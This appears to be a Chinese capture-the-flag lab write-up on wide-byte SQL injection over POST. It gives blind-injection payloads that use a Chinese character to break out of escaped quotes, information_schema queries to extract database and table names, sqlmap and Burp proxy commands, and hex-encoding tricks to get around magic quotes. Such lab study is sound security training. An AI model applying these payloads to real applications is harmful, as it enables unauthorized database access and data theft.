靶场3同1,2最大的区别就是改成了传参形式变成了post,因为是post 我们的%df是针对get,所以在这里就不能使用了,我们可以使用汉字,和burp改包的方式来进行突破。 我们经过判断发现这不仅是个宽字节注入,而且还是个盲注。因为我们那里显示登陆成功但并没有回显。于是我们拼接语句进行库名的猜解。

1.汉’) or 1=1 and ascii(substr((database()),1,1))>1 — qwe

2.然后我们对其数据库名进行burp跑包拼接语句如下:汉’) or 1=1 and ascii(substr((database()),1,1))=1 — qwe



3.这里第一次跑包发现返回之没有任何特点看不出需要的是哪个包。
于是这里对比了登陆成功的包,和登陆失败的包。找出不同并做了标记。


4.这里通过对比发现,我们未登录失败的包里特有的标签。

4.找到数据包之后将ascii值转化为字母,可知数据库名为widechar

5.我们以同样的方法可以跑出表名拼接语句如下:汉’) or 1=1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=1 — qwe将其转化为字母可知表名为china_flag

以此类推我们可以跑出字段名,flag。。flag为zKaQ-Kzj+mz
1.9.7 Sqlmap跑post/get类型宽字节注入
1.sqlmap跑get类型的宽字节注入,先闭合再抓包,将数据放在txt中,再想要探测的地方打上*,进行跑包。

2.Sqlmap 跑post宽字节注入时,也是通过在提交表单处随意写值,然后抓数据包,在post表单地方打上星号并将数据包复制到文本文件上,在sqlmap进行跑包即可。
倘若传参没有闭合sqlmap是跑不出来的,我们需要传入汉字帮其闭合。然后在SQLmap要去添加语句的地方打上星号。
Eg:username=adsdsa汉’)*&password=sdfsfs
我们还可以用sqlmap直接补全闭合然后进行跑。
Eg:-u 网址 汉’) --dbs--level 3
我们这里进行手动闭合

然后上sqlmap即可。

这样我们发现是能跑出来的。
宽字节盲注拿到库名即可。
Burp 不仅可以抓浏览器的数据包,同样可以抓sqlmap的。我们只要这样设定代理,就可以抓sqlmap的包了。
Sqlmap.py -r 1.txt --tables --proxy=”http://127.0.0.1 8080”

1.9.8 宽字节注入盘点
%27中的百分号是url编码特有的。
当sql注入遇到魔术引号怎么办?
我们使用宽字节注入[mysql编码不是中文编码]
将一个字符和斜杠\拼凑成一个新的字节 [ %df ]
%df 是一个url编码,在post传参中不能用,如果要用需要去修改hex。
不用%df也不想修改hex可直接传参中文。
中文三个字符utf-8和\会凑成两个字。
我们进行宽字节注入之后,如id=1,在吃掉\之后会产生一个数字1和一个汉字,但是这对数据库并不影响数据库在识别的时候只能识别出数字1,后边的汉字或者字符串对其是没有影响的。
1.9.9靶场心得
**当宽字节注入突破魔术引号时,在上传表名或者库名的时候,因为需要使用单引号括起来,而单引号上传又被限制,所以我们采用子查询的方法;或者是16进制转换:我们将表明或者库名不带单引号直接转换成16进制然后在前边加上0x上传即可。**
http://www.bejson.com/convert/ox2str/(16进制转换的网站)




